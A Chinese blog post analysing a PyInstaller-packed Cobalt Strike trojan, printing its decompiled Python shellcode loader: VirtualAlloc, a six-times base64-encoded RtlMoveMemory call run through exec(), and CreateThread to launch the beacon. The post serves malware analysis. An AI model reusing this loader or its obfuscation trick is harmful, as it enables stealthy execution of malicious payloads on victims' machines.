当前位置: 首页 > news >正文

一例pyinstaller打包的cs马鉴赏

概述

近日分析一例使用python打包的cs木马,该样本使用pyinstaller打包,使用python3.7编写,会在内存中运行一段64位的shellcode,这段shellcode其实是cs的beacon,通过PEB+hash的方式获取系统api地址,在内存中拉取后续的payload。

详情

样本的逆向过程很简单,可参考[Python逆向] 逆向Pyinstaller打包的exe文件源码及保护_pyinstaller逆向-CSDN博客一文章。

下面来看一下还原出来的python源码,已经对这段代码进行了注释。

代码的功能是作为一个shellcode加载器,在内存中运行一段64位的shellcode,在python中调用了系统api:使用VirtualAlloc分配可执行内存,使用RtlMoveMemory拷贝内存,使用CreateThread启动shellcode,使用WaitForSingleObject等待shellcode执行结束。中间还将拷贝内存的代码进行了base64编码,用于逃脱检测,确实很高明。

import ctypes,base64#此外为64位的shellcode
buf = b''
...
buf += b'\xf0\xb5\xa2V\xff\xd5' 
shellcode = bytearray(buf) 
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 #调用VirtualAlloc分配一段可执行内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(12288), ctypes.c_int(64)) 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) #aaa是一段使用base64编码6遍的python代码
#实际为ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
#用于将shellcode拷贝到新分配的内存中
aaa = b'Vm1wR1UxUXhWWGRPVm1oVllUSm9XRmx0TlVOVWJHeDBUVlpPYTAxWGVEQlVWbHBQWVdzeGNtTkZWbFZpUjJoTVYxWmFhMUp0VGtWU2JHaHBVakZHTmxkc1pIcGxSMDVHVGxaa1ZXSllVbFJVVkVwdlZVWmtXR05GT1ZwV01IQklWbGQ0YjFZeVNuTlRia0pWVmtWS01sUldXazVrTVhCR1QxVTFVMDFXY0dGV1ZtTjRUa2RHZEZac1ZsZGlhMXBaVld0Vk1WZEdhM2RhUlhSclZteGFWbFV5Y3pWVmF6RjBXak53V0dFeFduWlZNakZQVW0xV1JtRkdVbWhoTVhCdlYxWmFiMkl5VGxkalJWcG9VMFUxY2xSV2FFTlhiRnBIWVVaa1dHRjZSbFpaYTJoclYyMUtWVlpzVGxwaGEzQk1WVEJhWVdSV1duSmxSbEpUVmtaWmVWWnFTalJoTURWSVZGaG9hRTB5ZUZGV2FrNVRZVVphVlZOcVFtdE5WVEUwVld4U2MxVldWbFZOUkdzOQ==' 
for i in range(6): aaa = base64.b64decode(aaa) #执行 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
exec(aaa.decode())#创建一个线程,启动shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) 
#等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

参考资料

  • [Python逆向] 逆向Pyinstaller打包的exe文件源码及保护_pyinstaller逆向-CSDN博客

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • SprinBoot+Vue校园车辆管理系统的设计与实现
  • (Java企业 / 公司项目)点赞业务系统设计-批量查询点赞状态(二)
  • 【区块链 + 人才服务】Blockchain Workshop- 区块链编程实践平台 | FISCO BCOS应用案例
  • vue3使用leaflet+trackplayer实现非地图动画轨迹(市场平面图动态轨迹)
  • 汇编语言第一次作业
  • Unity:类塔科夫,塔防网格构建
  • Agent、RAG、LangChain的概念及作用
  • spring security 如何解决跨域的
  • js部分面试题
  • 如何通过可视化大屏,打通智慧城市建设的“最后一公里”?
  • crontab命令:定时任务,周期执行
  • ROS2仿真之两轮差速
  • 纵切车床和走心机的区别
  • C/C++ 网络编程之关于多核利用问题
  • x11vnc卡顿问题,debian11编译x11vnc
  • 【面试系列】之二:关于js原型
  • 3.7、@ResponseBody 和 @RestController
  • 77. Combinations
  • Android 控件背景颜色处理
  • android图片蒙层
  • Date型的使用
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • Docker下部署自己的LNMP工作环境
  • HashMap剖析之内部结构
  • JavaScript实现分页效果
  • Object.assign方法不能实现深复制
  • Promise面试题,控制异步流程
  • vue 个人积累(使用工具,组件)
  • 对象管理器(defineProperty)学习笔记
  • 关于for循环的简单归纳
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 浅析微信支付:申请退款、退款回调接口、查询退款
  • 微信小程序设置上一页数据
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • 原生JS动态加载JS、CSS文件及代码脚本
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • Java性能优化之JVM GC(垃圾回收机制)
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • zabbix3.2监控linux磁盘IO
  • # C++之functional库用法整理
  • ### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
  • #Spring-boot高级
  • #每日一题合集#牛客JZ23-JZ33
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (20050108)又读《平凡的世界》
  • (a /b)*c的值
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (回溯) LeetCode 46. 全排列
  • (十一)c52学习之旅-动态数码管
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • .CSS-hover 的解释
  • .NET CORE 3.1 集成JWT鉴权和授权2
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道